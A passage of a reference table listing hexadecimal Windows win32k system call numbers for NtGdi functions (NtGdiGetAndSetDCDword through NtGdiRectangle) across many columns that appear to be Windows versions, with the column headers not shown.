NtGdiGetAndSetDCDword |  |  |  |  0x106e  |  |  |  0x1097  |  |  0x1097  |  |  0x109b  |  0x109b  |  0x109b  |  |  0x109a  |  0x109a  |  0x109d  |  0x109d  |  0x109d  |  |  0x109d  |  |  0x109d   
NtGdiGetAppClipBox |  |  |  |  0x106f  |  |  |  0x1098  |  |  0x1098  |  |  0x109c  |  0x109c  |  0x109c  |  |  0x109b  |  0x109b  |  0x109e  |  0x109e  |  0x109e  |  |  0x109e  |  |  0x109e   
NtGdiGetBitmapBits |  |  |  |  0x1070  |  |  |  0x1099  |  |  0x1099  |  |  0x109d  |  0x109d  |  0x109d  |  |  0x109c  |  0x109c  |  0x109f  |  0x109f  |  0x109f  |  |  0x109f  |  |  0x109f   
NtGdiGetBitmapDimension |  |  |  |  0x1071  |  |  |  0x109a  |  |  0x109a  |  |  0x109e  |  0x109e  |  0x109e  |  |  0x109d  |  0x109d  |  0x10a0  |  0x10a0  |  0x10a0  |  |  0x10a0  |  |  0x10a0   
NtGdiGetBoundsRect |  |  |  |  0x1072  |  |  |  0x109b  |  |  0x109b  |  |  0x109f  |  0x109f  |  0x109f  |  |  0x109e  |  0x109e  |  0x10a1  |  0x10a1  |  0x10a1  |  |  0x10a1  |  |  0x10a1   
NtGdiGetCOPPCompatibleOPMInformation |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10ab  |  0x10ab  |  0x10ab  |  |  0x10ab  |  |  0x10ab   
NtGdiGetCertificate |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10a2  |  0x10a2  |  0x10a2  |  |  0x10a2  |  |  0x10a2   
NtGdiGetCertificateSize |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10a3  |  0x10a3  |  0x10a3  |  |  0x10a3  |  |  0x10a3   
NtGdiGetCharABCWidthsW |  |  |  |  0x1073  |  |  |  0x109c  |  |  0x109c  |  |  0x10a0  |  0x10a0  |  0x10a0  |  |  0x109f  |  0x109f  |  0x10a4  |  0x10a4  |  0x10a4  |  |  0x10a4  |  |  0x10a4   
NtGdiGetCharSet |  |  |  |  0x1075  |  |  |  0x109e  |  |  0x109e  |  |  0x10a2  |  0x10a2  |  0x10a2  |  |  0x10a1  |  0x10a1  |  0x10a6  |  0x10a6  |  0x10a6  |  |  0x10a6  |  |  0x10a6   
NtGdiGetCharWidthInfo |  |  |  |  0x1077  |  |  |  0x10a0  |  |  0x10a0  |  |  0x10a4  |  0x10a4  |  0x10a4  |  |  0x10a3  |  0x10a3  |  0x10a8  |  0x10a8  |  0x10a8  |  |  0x10a8  |  |  0x10a8   
NtGdiGetCharWidthW |  |  |  |  0x1076  |  |  |  0x109f  |  |  0x109f  |  |  0x10a3  |  0x10a3  |  0x10a3  |  |  0x10a2  |  0x10a2  |  0x10a7  |  0x10a7  |  0x10a7  |  |  0x10a7  |  |  0x10a7   
NtGdiGetCharacterPlacementW |  |  |  |  0x1074  |  |  |  0x109d  |  |  0x109d  |  |  0x10a1  |  0x10a1  |  0x10a1  |  |  0x10a0  |  0x10a0  |  0x10a5  |  0x10a5  |  0x10a5  |  |  0x10a5  |  |  0x10a5   
NtGdiGetColorAdjustment |  |  |  |  0x1078  |  |  |  0x10a1  |  |  0x10a1  |  |  0x10a5  |  0x10a5  |  0x10a5  |  |  0x10a4  |  0x10a4  |  0x10a9  |  0x10a9  |  0x10a9  |  |  0x10a9  |  |  0x10a9   
NtGdiGetColorSpaceforBitmap |  |  |  |  |  |  |  0x10a2  |  |  0x10a2  |  |  0x10a6  |  0x10a6  |  0x10a6  |  |  0x10a5  |  0x10a5  |  0x10aa  |  0x10aa  |  0x10aa  |  |  0x10aa  |  |  0x10aa   
NtGdiGetDCDword |  |  |  |  0x1079  |  |  |  0x10a3  |  |  0x10a3  |  |  0x10a7  |  0x10a7  |  0x10a7  |  |  0x10a6  |  0x10a6  |  0x10ac  |  0x10ac  |  0x10ac  |  |  0x10ac  |  |  0x10ac   
NtGdiGetDCObject |  |  |  |  0x107b  |  |  |  0x10a5  |  |  0x10a5  |  |  0x10a9  |  0x10a9  |  0x10a9  |  |  0x10a8  |  0x10a8  |  0x10ae  |  0x10ae  |  0x10ae  |  |  0x10ae  |  |  0x10ae   
NtGdiGetDCPoint |  |  |  |  0x107c  |  |  |  0x10a6  |  |  0x10a6  |  |  0x10aa  |  0x10aa  |  0x10aa  |  |  0x10a9  |  0x10a9  |  0x10af  |  0x10af  |  0x10af  |  |  0x10af  |  |  0x10af   
NtGdiGetDCforBitmap |  |  |  |  0x107a  |  |  |  0x10a4  |  |  0x10a4  |  |  0x10a8  |  0x10a8  |  0x10a8  |  |  0x10a7  |  0x10a7  |  0x10ad  |  0x10ad  |  0x10ad  |  |  0x10ad  |  |  0x10ad   
NtGdiGetDIBitsInternal |  |  |  |  0x107f  |  |  |  0x10aa  |  |  0x10aa  |  |  0x10ae  |  0x10ae  |  0x10ae  |  |  0x10ad  |  0x10ad  |  0x10b3  |  0x10b3  |  0x10b3  |  |  0x10b3  |  |  0x10b3   
NtGdiGetDeviceCaps |  |  |  |  0x107d  |  |  |  0x10a7  |  |  0x10a7  |  |  0x10ab  |  0x10ab  |  0x10ab  |  |  0x10aa  |  0x10aa  |  0x10b0  |  0x10b0  |  0x10b0  |  |  0x10b0  |  |  0x10b0   
NtGdiGetDeviceCapsAll |  |  |  |  0x107e  |  |  |  0x10a9  |  |  0x10a9  |  |  0x10ad  |  0x10ad  |  0x10ad  |  |  0x10ac  |  0x10ac  |  0x10b2  |  0x10b2  |  0x10b2  |  |  0x10b2  |  |  0x10b2   
NtGdiGetDeviceGammaRamp |  |  |  |  |  |  |  0x10a8  |  |  0x10a8  |  |  0x10ac  |  0x10ac  |  0x10ac  |  |  0x10ab  |  0x10ab  |  0x10b1  |  0x10b1  |  0x10b1  |  |  0x10b1  |  |  0x10b1   
NtGdiGetDeviceWidth |  |  |  |  |  |  |  0x110d  |  |  0x110d  |  |  0x1117  |  0x1117  |  0x1117  |  |  0x1116  |  0x1116  |  0x111f  |  0x111f  |  0x111f  |  |  0x111f  |  |  0x1121   
NtGdiGetDhpdev |  |  |  |  |  |  |  0x127a  |  |  0x127a  |  |  0x1292  |  0x1292  |  0x1292  |  |  0x128e  |  0x128e  |  0x12b3  |  0x12b3  |  0x12b3  |  |  0x12b3  |  |  0x12d3   
NtGdiGetETM |  |  |  |  0x1080  |  |  |  0x10ab  |  |  0x10ab  |  |  0x10af  |  0x10af  |  0x10af  |  |  0x10ae  |  0x10ae  |  0x10b4  |  0x10b4  |  0x10b4  |  |  0x10b4  |  |  0x10b4   
NtGdiGetEmbUFI |  |  |  |  |  |  |  |  |  |  |  0x10d2  |  0x10d2  |  0x10d2  |  |  0x10d1  |  0x10d1  |  0x10da  |  0x10da  |  0x10da  |  |  0x10da  |  |  0x10dc   
NtGdiGetEmbedFonts |  |  |  |  |  |  |  |  |  |  |  0x10d4  |  0x10d4  |  0x10d4  |  |  0x10d3  |  0x10d3  |  0x10dc  |  0x10dc  |  0x10dc  |  |  0x10dc  |  |  0x10de   
NtGdiGetEudcTimeStampEx |  |  |  |  |  |  |  0x10ac  |  |  0x10ac  |  |  0x10b0  |  0x10b0  |  0x10b0  |  |  0x10af  |  0x10af  |  0x10b5  |  0x10b5  |  0x10b5  |  |  0x10b5  |  |  0x10b5   
NtGdiGetFontData |  |  |  |  0x1081  |  |  |  0x10ad  |  |  0x10ad  |  |  0x10b1  |  0x10b1  |  0x10b1  |  |  0x10b0  |  0x10b0  |  0x10b6  |  0x10b6  |  0x10b6  |  |  0x10b6  |  |  0x10b6   
NtGdiGetFontFileData |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10b7   
NtGdiGetFontFileInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10b8   
NtGdiGetFontResourceInfoInternalW |  |  |  |  0x1082  |  |  |  0x10ae  |  |  0x10ae  |  |  0x10b2  |  0x10b2  |  0x10b2  |  |  0x10b1  |  0x10b1  |  0x10b7  |  0x10b7  |  0x10b7  |  |  0x10b7  |  |  0x10b9   
NtGdiGetFontUnicodeRanges |  |  |  |  |  |  |  0x10cf  |  |  0x10cf  |  |  0x10d7  |  0x10d7  |  0x10d7  |  |  0x10d6  |  0x10d6  |  0x10df  |  0x10df  |  0x10df  |  |  0x10df  |  |  0x10e1   
NtGdiGetGlyphIndicesW |  |  |  |  |  |  |  0x10af  |  |  0x10af  |  |  0x10b3  |  0x10b3  |  0x10b3  |  |  0x10b2  |  0x10b2  |  0x10b8  |  0x10b8  |  0x10b8  |  |  0x10b8  |  |  0x10ba   
NtGdiGetGlyphIndicesWInternal |  |  |  |  |  |  |  0x10b0  |  |  0x10b0  |  |  0x10b4  |  0x10b4  |  0x10b4  |  |  0x10b3  |  0x10b3  |  0x10b9  |  0x10b9  |  0x10b9  |  |  0x10b9  |  |  0x10bb   
NtGdiGetGlyphOutline |  |  |  |  0x1083  |  |  |  0x10b1  |  |  0x10b1  |  |  0x10b5  |  0x10b5  |  0x10b5  |  |  0x10b4  |  0x10b4  |  0x10ba  |  0x10ba  |  0x10ba  |  |  0x10ba  |  |  0x10bc   
NtGdiGetKerningPairs |  |  |  |  0x1084  |  |  |  0x10b2  |  |  0x10b2  |  |  0x10b6  |  0x10b6  |  0x10b6  |  |  0x10b5  |  0x10b5  |  0x10bc  |  0x10bc  |  0x10bc  |  |  0x10bc  |  |  0x10be   
NtGdiGetLinkedUFIs |  |  |  |  |  |  |  0x10b3  |  |  0x10b3  |  |  0x10b7  |  0x10b7  |  0x10b7  |  |  0x10b6  |  0x10b6  |  0x10bd  |  0x10bd  |  0x10bd  |  |  0x10bd  |  |  0x10bf   
NtGdiGetMiterLimit |  |  |  |  0x1085  |  |  |  0x10b4  |  |  0x10b4  |  |  0x10b8  |  0x10b8  |  0x10b8  |  |  0x10b7  |  0x10b7  |  0x10be  |  0x10be  |  0x10be  |  |  0x10be  |  |  0x10c0   
NtGdiGetMonitorID |  |  |  |  |  |  |  0x10b5  |  |  0x10b5  |  |  0x10b9  |  0x10b9  |  0x10b9  |  |  0x10b8  |  0x10b8  |  0x10bf  |  0x10bf  |  0x10bf  |  |  0x10bf  |  |  0x10c1   
NtGdiGetNearestColor |  |  |  |  0x1086  |  |  |  0x10b6  |  |  0x10b6  |  |  0x10ba  |  0x10ba  |  0x10ba  |  |  0x10b9  |  0x10b9  |  0x10c0  |  0x10c0  |  0x10c0  |  |  0x10c0  |  |  0x10c2   
NtGdiGetNearestPaletteIndex |  |  |  |  0x1087  |  |  |  0x10b7  |  |  0x10b7  |  |  0x10bb  |  0x10bb  |  0x10bb  |  |  0x10ba  |  0x10ba  |  0x10c1  |  0x10c1  |  0x10c1  |  |  0x10c1  |  |  0x10c3   
NtGdiGetNumberOfPhysicalMonitors |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f8  |  0x12f8  |  0x12f8  |  |  0x12f8  |  |  0x1324   
NtGdiGetOPMInformation |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10bb  |  0x10bb  |  0x10bb  |  |  0x10bb  |  |  0x10bd   
NtGdiGetOPMRandomNumber |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10c3  |  0x10c3  |  0x10c3  |  |  0x10c3  |  |  0x10c5   
NtGdiGetObjectBitmapHandle |  |  |  |  0x1088  |  |  |  0x10b8  |  |  0x10b8  |  |  0x10bc  |  0x10bc  |  0x10bc  |  |  0x10bb  |  0x10bb  |  0x10c2  |  0x10c2  |  0x10c2  |  |  0x10c2  |  |  0x10c4   
NtGdiGetOutlineTextMetricsInternalW |  |  |  |  0x1089  |  |  |  0x10b9  |  |  0x10b9  |  |  0x10bd  |  0x10bd  |  0x10bd  |  |  0x10bc  |  0x10bc  |  0x10c4  |  0x10c4  |  0x10c4  |  |  0x10c4  |  |  0x10c6   
NtGdiGetPath |  |  |  |  0x108a  |  |  |  0x10ba  |  |  0x10ba  |  |  0x10be  |  0x10be  |  0x10be  |  |  0x10bd  |  0x10bd  |  0x10c5  |  0x10c5  |  0x10c5  |  |  0x10c5  |  |  0x10c7   
NtGdiGetPerBandInfo |  |  |  |  |  |  |  0x1077  |  |  0x1077  |  |  0x107c  |  0x107c  |  0x107c  |  |  0x107c  |  0x107c  |  0x107f  |  0x107f  |  0x107f  |  |  0x107f  |  |  0x1080   
NtGdiGetPhysicalMonitorDescription |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12fa  |  0x12fa  |  0x12fa  |  |  0x12fa  |  |  0x1326   
NtGdiGetPhysicalMonitors |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f9  |  0x12f9  |  0x12f9  |  |  0x12f9  |  |  0x1325   
NtGdiGetPixel |  |  |  |  0x108b  |  |  |  0x10bb  |  |  0x10bb  |  |  0x10bf  |  0x10bf  |  0x10bf  |  |  0x10be  |  0x10be  |  0x10c6  |  0x10c6  |  0x10c6  |  |  0x10c6  |  |  0x10c8   
NtGdiGetRandomRgn |  |  |  |  0x108c  |  |  |  0x10bc  |  |  0x10bc  |  |  0x10c0  |  0x10c0  |  0x10c0  |  |  0x10bf  |  0x10bf  |  0x10c7  |  0x10c7  |  0x10c7  |  |  0x10c7  |  |  0x10c9   
NtGdiGetRasterizerCaps |  |  |  |  0x108d  |  |  |  0x10bd  |  |  0x10bd  |  |  0x10c1  |  0x10c1  |  0x10c1  |  |  0x10c0  |  0x10c0  |  0x10c8  |  0x10c8  |  0x10c8  |  |  0x10c8  |  |  0x10ca   
NtGdiGetRealizationInfo |  |  |  |  |  |  |  0x10be  |  |  0x10be  |  |  0x10c2  |  0x10c2  |  0x10c2  |  |  0x10c1  |  0x10c1  |  0x10c9  |  0x10c9  |  0x10c9  |  |  0x10c9  |  |  0x10cb   
NtGdiGetRegionData |  |  |  |  0x108e  |  |  |  0x10bf  |  |  0x10bf  |  |  0x10c3  |  0x10c3  |  0x10c3  |  |  0x10c2  |  0x10c2  |  0x10ca  |  0x10ca  |  0x10ca  |  |  0x10ca  |  |  0x10cc   
NtGdiGetRgnBox |  |  |  |  0x108f  |  |  |  0x10c0  |  |  0x10c0  |  |  0x10c4  |  0x10c4  |  0x10c4  |  |  0x10c3  |  0x10c3  |  0x10cb  |  0x10cb  |  0x10cb  |  |  0x10cb  |  |  0x10cd   
NtGdiGetServerMetaFileBits |  |  |  |  0x1090  |  |  |  0x10c1  |  |  0x10c1  |  |  0x10c5  |  0x10c5  |  0x10c5  |  |  0x10c4  |  0x10c4  |  0x10cc  |  0x10cc  |  0x10cc  |  |  0x10cc  |  |  0x10ce   
NtGdiGetSpoolMessage |  |  |  |  0x1091  |  |  |  0x10c2  |  |  0x10c2  |  |  0x10c6  |  0x10c6  |  0x10c6  |  |  0x10c5  |  0x10c5  |  0x10cd  |  0x10cd  |  0x10cd  |  |  0x10cd  |  |   
NtGdiGetStats |  |  |  |  0x1092  |  |  |  0x10c3  |  |  0x10c3  |  |  0x10c7  |  0x10c7  |  0x10c7  |  |  0x10c6  |  0x10c6  |  0x10ce  |  0x10ce  |  0x10ce  |  |  0x10ce  |  |  0x10d0   
NtGdiGetStockObject |  |  |  |  0x1093  |  |  |  0x10c4  |  |  0x10c4  |  |  0x10c8  |  0x10c8  |  0x10c8  |  |  0x10c7  |  0x10c7  |  0x10cf  |  0x10cf  |  0x10cf  |  |  0x10cf  |  |  0x10d1   
NtGdiGetStringBitmapW |  |  |  |  |  |  |  0x10c5  |  |  0x10c5  |  |  0x10c9  |  0x10c9  |  0x10c9  |  |  0x10c8  |  0x10c8  |  0x10d0  |  0x10d0  |  0x10d0  |  |  0x10d0  |  |  0x10d2   
NtGdiGetSuggestedOPMProtectedOutputArraySize |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10d1  |  0x10d1  |  0x10d1  |  |  0x10d1  |  |  0x10d3   
NtGdiGetSystemPaletteUse |  |  |  |  0x1094  |  |  |  0x10c6  |  |  0x10c6  |  |  0x10ca  |  0x10ca  |  0x10ca  |  |  0x10c9  |  0x10c9  |  0x10d2  |  0x10d2  |  0x10d2  |  |  0x10d2  |  |  0x10d4   
NtGdiGetTextCharsetInfo |  |  |  |  0x1095  |  |  |  0x10c7  |  |  0x10c7  |  |  0x10cb  |  0x10cb  |  0x10cb  |  |  0x10ca  |  0x10ca  |  0x10d3  |  0x10d3  |  0x10d3  |  |  0x10d3  |  |  0x10d5   
NtGdiGetTextExtent |  |  |  |  0x1096  |  |  |  0x10c8  |  |  0x10c8  |  |  0x10cc  |  0x10cc  |  0x10cc  |  |  0x10cb  |  0x10cb  |  0x10d4  |  0x10d4  |  0x10d4  |  |  0x10d4  |  |  0x10d6   
NtGdiGetTextExtentExW |  |  |  |  0x1097  |  |  |  0x10c9  |  |  0x10c9  |  |  0x10cd  |  0x10cd  |  0x10cd  |  |  0x10cc  |  0x10cc  |  0x10d5  |  0x10d5  |  0x10d5  |  |  0x10d5  |  |  0x10d7   
NtGdiGetTextFaceW |  |  |  |  0x1098  |  |  |  0x10ca  |  |  0x10ca  |  |  0x10ce  |  0x10ce  |  0x10ce  |  |  0x10cd  |  0x10cd  |  0x10d6  |  0x10d6  |  0x10d6  |  |  0x10d6  |  |  0x10d8   
NtGdiGetTextMetricsW |  |  |  |  0x1099  |  |  |  0x10cb  |  |  0x10cb  |  |  0x10cf  |  0x10cf  |  0x10cf  |  |  0x10ce  |  0x10ce  |  0x10d7  |  0x10d7  |  0x10d7  |  |  0x10d7  |  |  0x10d9   
NtGdiGetTransform |  |  |  |  0x109a  |  |  |  0x10cc  |  |  0x10cc  |  |  0x10d0  |  0x10d0  |  0x10d0  |  |  0x10cf  |  0x10cf  |  0x10d8  |  0x10d8  |  0x10d8  |  |  0x10d8  |  |  0x10da   
NtGdiGetUFI |  |  |  |  0x109b  |  |  |  0x10cd  |  |  0x10cd  |  |  0x10d1  |  0x10d1  |  0x10d1  |  |  0x10d0  |  0x10d0  |  0x10d9  |  0x10d9  |  0x10d9  |  |  0x10d9  |  |  0x10db   
NtGdiGetUFIBits |  |  |  |  0x109c  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiGetUFIPathname |  |  |  |  |  |  |  0x10ce  |  |  0x10ce  |  |  0x10d3  |  0x10d3  |  0x10d3  |  |  0x10d2  |  0x10d2  |  0x10db  |  0x10db  |  0x10db  |  |  0x10db  |  |  0x10dd   
NtGdiGetWidthTable |  |  |  |  0x109d  |  |  |  0x10d0  |  |  0x10d0  |  |  0x10d8  |  0x10d8  |  0x10d8  |  |  0x10d7  |  0x10d7  |  0x10e0  |  0x10e0  |  0x10e0  |  |  0x10e0  |  |  0x10e2   
NtGdiGradientFill |  |  |  |  |  |  |  0x10d1  |  |  0x10d1  |  |  0x10d9  |  0x10d9  |  0x10d9  |  |  0x10d8  |  0x10d8  |  0x10e1  |  0x10e1  |  0x10e1  |  |  0x10e1  |  |  0x10e3   
NtGdiHLSurfGetInformation |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12dd   
NtGdiHLSurfSetInformation |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12de   
NtGdiHT\_Get8BPPFormatPalette |  |  |  |  |  |  |  0x127c  |  |  0x127c  |  |  0x1294  |  0x1294  |  0x1294  |  |  0x1290  |  0x1290  |  0x12b5  |  0x12b5  |  0x12b5  |  |  0x12b5  |  |  0x12d5   
NtGdiHT\_Get8BPPMaskPalette |  |  |  |  |  |  |  0x127d  |  |  0x127d  |  |  0x1295  |  0x1295  |  0x1295  |  |  0x1291  |  0x1291  |  0x12b6  |  0x12b6  |  0x12b6  |  |  0x12b6  |  |  0x12d6   
NtGdiHfontCreate |  |  |  |  0x109e  |  |  |  0x10d2  |  |  0x10d2  |  |  0x10da  |  0x10da  |  0x10da  |  |  0x10d9  |  0x10d9  |  0x10e2  |  0x10e2  |  0x10e2  |  |  0x10e2  |  |  0x10e4   
NtGdiIcmBrushInfo |  |  |  |  |  |  |  0x10d3  |  |  0x10d3  |  |  0x10db  |  0x10db  |  0x10db  |  |  0x10da  |  0x10da  |  0x10e3  |  0x10e3  |  0x10e3  |  |  0x10e3  |  |  0x10e5   
NtGdiInit |  |  |  |  0x109f  |  |  |  0x10d4  |  |  0x10d4  |  |  0x10dc  |  0x10dc  |  0x10dc  |  |  0x10db  |  0x10db  |  |  |  |  |  |  |   
NtGdiInitSpool |  |  |  |  0x10a0  |  |  |  0x10d5  |  |  0x10d5  |  |  0x10dd  |  0x10dd  |  0x10dd  |  |  0x10dc  |  0x10dc  |  0x10e5  |  0x10e5  |  0x10e5  |  |  0x10e5  |  |  0x10e7   
NtGdiIntersectClipRect |  |  |  |  0x10a1  |  |  |  0x10d6  |  |  0x10d6  |  |  0x10de  |  0x10de  |  0x10de  |  |  0x10dd  |  0x10dd  |  0x10e6  |  0x10e6  |  0x10e6  |  |  0x10e6  |  |  0x10e8   
NtGdiInvertRgn |  |  |  |  0x10a2  |  |  |  0x10d7  |  |  0x10d7  |  |  0x10df  |  0x10df  |  0x10df  |  |  0x10de  |  0x10de  |  0x10e7  |  0x10e7  |  0x10e7  |  |  0x10e7  |  |  0x10e9   
NtGdiLineTo |  |  |  |  0x10a3  |  |  |  0x10d8  |  |  0x10d8  |  |  0x10e0  |  0x10e0  |  0x10e0  |  |  0x10df  |  0x10df  |  0x10e8  |  0x10e8  |  0x10e8  |  |  0x10e8  |  |  0x10ea   
NtGdiMakeFontDir |  |  |  |  0x10a4  |  |  |  0x10d9  |  |  0x10d9  |  |  0x10e1  |  0x10e1  |  0x10e1  |  |  0x10e0  |  0x10e0  |  0x10e9  |  0x10e9  |  0x10e9  |  |  0x10e9  |  |  0x10eb   
NtGdiMakeInfoDC |  |  |  |  0x10a5  |  |  |  0x10da  |  |  0x10da  |  |  0x10e2  |  0x10e2  |  0x10e2  |  |  0x10e1  |  0x10e1  |  0x10ea  |  0x10ea  |  0x10ea  |  |  0x10ea  |  |  0x10ec   
NtGdiMakeObjectXferable |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1297  |  0x1297  |  |  |  |  |  |  |   
NtGdiMaskBlt |  |  |  |  0x10a6  |  |  |  0x10db  |  |  0x10db  |  |  0x10e3  |  0x10e3  |  0x10e3  |  |  0x10e2  |  0x10e2  |  0x10eb  |  0x10eb  |  0x10eb  |  |  0x10eb  |  |  0x10ed   
NtGdiMirrorWindowOrg |  |  |  |  |  |  |  0x110e  |  |  0x110e  |  |  0x1118  |  0x1118  |  0x1118  |  |  0x1117  |  0x1117  |  0x1120  |  0x1120  |  0x1120  |  |  0x1120  |  |  0x1122   
NtGdiModifyWorldTransform |  |  |  |  0x10a7  |  |  |  0x10dc  |  |  0x10dc  |  |  0x10e4  |  0x10e4  |  0x10e4  |  |  0x10e3  |  0x10e3  |  0x10ec  |  0x10ec  |  0x10ec  |  |  0x10ec  |  |  0x10ee   
NtGdiMonoBitmap |  |  |  |  0x10a8  |  |  |  0x10dd  |  |  0x10dd  |  |  0x10e5  |  0x10e5  |  0x10e5  |  |  0x10e4  |  0x10e4  |  0x10ed  |  0x10ed  |  0x10ed  |  |  0x10ed  |  |  0x10ef   
NtGdiMoveTo |  |  |  |  0x10a9  |  |  |  0x10de  |  |  0x10de  |  |  0x10e6  |  0x10e6  |  0x10e6  |  |  0x10e5  |  0x10e5  |  0x10ee  |  0x10ee  |  0x10ee  |  |  0x10ee  |  |  0x10f0   
NtGdiOffsetClipRgn |  |  |  |  0x10aa  |  |  |  0x10df  |  |  0x10df  |  |  0x10e7  |  0x10e7  |  0x10e7  |  |  0x10e6  |  0x10e6  |  0x10ef  |  0x10ef  |  0x10ef  |  |  0x10ef  |  |  0x10f1   
NtGdiOffsetRgn |  |  |  |  0x10ab  |  |  |  0x10e0  |  |  0x10e0  |  |  0x10e8  |  0x10e8  |  0x10e8  |  |  0x10e7  |  0x10e7  |  0x10f0  |  0x10f0  |  0x10f0  |  |  0x10f0  |  |  0x10f2   
NtGdiOpenDCW |  |  |  |  0x10ac  |  |  |  0x10e1  |  |  0x10e1  |  |  0x10e9  |  0x10e9  |  0x10e9  |  |  0x10e8  |  0x10e8  |  0x10f1  |  0x10f1  |  0x10f1  |  |  0x10f1  |  |  0x10f3   
NtGdiPATHOBJ\_bEnum |  |  |  |  |  |  |  0x1276  |  |  0x1276  |  |  0x128e  |  0x128e  |  0x128e  |  |  0x128a  |  0x128a  |  0x12af  |  0x12af  |  0x12af  |  |  0x12af  |  |  0x12cf   
NtGdiPATHOBJ\_bEnumClipLines |  |  |  |  |  |  |  0x1279  |  |  0x1279  |  |  0x1291  |  0x1291  |  0x1291  |  |  0x128d  |  0x128d  |  0x12b2  |  0x12b2  |  0x12b2  |  |  0x12b2  |  |  0x12d2   
NtGdiPATHOBJ\_vEnumStart |  |  |  |  |  |  |  0x1277  |  |  0x1277  |  |  0x128f  |  0x128f  |  0x128f  |  |  0x128b  |  0x128b  |  0x12b0  |  0x12b0  |  0x12b0  |  |  0x12b0  |  |  0x12d0   
NtGdiPATHOBJ\_vEnumStartClipLines |  |  |  |  |  |  |  0x1278  |  |  0x1278  |  |  0x1290  |  0x1290  |  0x1290  |  |  0x128c  |  0x128c  |  0x12b1  |  0x12b1  |  0x12b1  |  |  0x12b1  |  |  0x12d1   
NtGdiPATHOBJ\_vGetBounds |  |  |  |  |  |  |  0x1275  |  |  0x1275  |  |  0x128d  |  0x128d  |  0x128d  |  |  0x1289  |  0x1289  |  0x12ae  |  0x12ae  |  0x12ae  |  |  0x12ae  |  |  0x12ce   
NtGdiPatBlt |  |  |  |  0x10ad  |  |  |  0x10e2  |  |  0x10e2  |  |  0x10ea  |  0x10ea  |  0x10ea  |  |  0x10e9  |  0x10e9  |  0x10f2  |  0x10f2  |  0x10f2  |  |  0x10f2  |  |  0x10f4   
NtGdiPathToRegion |  |  |  |  0x10b0  |  |  |  0x10e4  |  |  0x10e4  |  |  0x10ec  |  0x10ec  |  0x10ec  |  |  0x10eb  |  0x10eb  |  0x10f4  |  0x10f4  |  0x10f4  |  |  0x10f4  |  |  0x10f6   
NtGdiPerf |  |  |  |  0x10ae  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiPlgBlt |  |  |  |  0x10b1  |  |  |  0x10e5  |  |  0x10e5  |  |  0x10ed  |  0x10ed  |  0x10ed  |  |  0x10ec  |  0x10ec  |  0x10f5  |  0x10f5  |  0x10f5  |  |  0x10f5  |  |  0x10f7   
NtGdiPolyDraw |  |  |  |  0x10b2  |  |  |  0x10e6  |  |  0x10e6  |  |  0x10ee  |  0x10ee  |  0x10ee  |  |  0x10ed  |  0x10ed  |  0x10f6  |  0x10f6  |  0x10f6  |  |  0x10f6  |  |  0x10f8   
NtGdiPolyPatBlt |  |  |  |  0x10af  |  |  |  0x10e3  |  |  0x10e3  |  |  0x10eb  |  0x10eb  |  0x10eb  |  |  0x10ea  |  0x10ea  |  0x10f3  |  0x10f3  |  0x10f3  |  |  0x10f3  |  |  0x10f5   
NtGdiPolyPolyDraw |  |  |  |  0x10b3  |  |  |  0x10e7  |  |  0x10e7  |  |  0x10ef  |  0x10ef  |  0x10ef  |  |  0x10ee  |  0x10ee  |  0x10f7  |  0x10f7  |  0x10f7  |  |  0x10f7  |  |  0x10f9   
NtGdiPolyTextOutW |  |  |  |  0x10b4  |  |  |  0x10e8  |  |  0x10e8  |  |  0x10f0  |  0x10f0  |  0x10f0  |  |  0x10ef  |  0x10ef  |  0x10f8  |  0x10f8  |  0x10f8  |  |  0x10f8  |  |  0x10fa   
NtGdiPtInRegion |  |  |  |  0x10b5  |  |  |  0x10e9  |  |  0x10e9  |  |  0x10f1  |  0x10f1  |  0x10f1  |  |  0x10f0  |  0x10f0  |  0x10f9  |  0x10f9  |  0x10f9  |  |  0x10f9  |  |  0x10fb   
NtGdiPtVisible |  |  |  |  0x10b6  |  |  |  0x10ea  |  |  0x10ea  |  |  0x10f2  |  0x10f2  |  0x10f2  |  |  0x10f1  |  0x10f1  |  0x10fa  |  0x10fa  |  0x10fa  |  |  0x10fa  |  |  0x10fc   
NtGdiQueryFontAssocInfo |  |  |  |  |  |  |  0x10ec  |  |  0x10ec  |  |  0x10f4  |  0x10f4  |  0x10f4  |  |  0x10f3  |  0x10f3  |  0x10fc  |  0x10fc  |  0x10fc  |  |  0x10fc  |  |  0x10fe   
NtGdiQueryFonts |  |  |  |  0x10b7  |  |  |  0x10eb  |  |  0x10eb  |  |  0x10f3  |  0x10f3  |  0x10f3  |  |  0x10f2  |  0x10f2  |  0x10fb  |  0x10fb  |  0x10fb  |  |  0x10fb  |  |  0x10fd   
NtGdiRectInRegion |  |  |  |  0x10b9  |  |  |  0x10ee  |  |  0x10ee  |  |  0x10f6  |  0x10f6  |  0x10f6  |  |  0x10f5  |  0x10f5  |  0x10fe  |  0x10fe  |  0x10fe  |  |  0x10fe  |  |  0x1100   
NtGdiRectVisible |  |  |  |  0x10ba  |  |  |  0x10ef  |  |  0x10ef  |  |  0x10f7  |  0x10f7  |  0x10f7  |  |  0x10f6  |  0x10f6  |  0x10ff  |  0x10ff  |  0x10ff  |  |  0x10ff  |  |  0x1101   
NtGdiRectangle |  |  |  |  0x10b8  |  |  |  0x10ed  |  |  0x10ed  |  |  0x10f5  |  0x10f5  |  0x10f5  |  |  0x10f4  |  0x10f4  |  0x10fd  |  0x10fd  |  0x10fd  |  |  0x10fd  |  |  0x10ff   
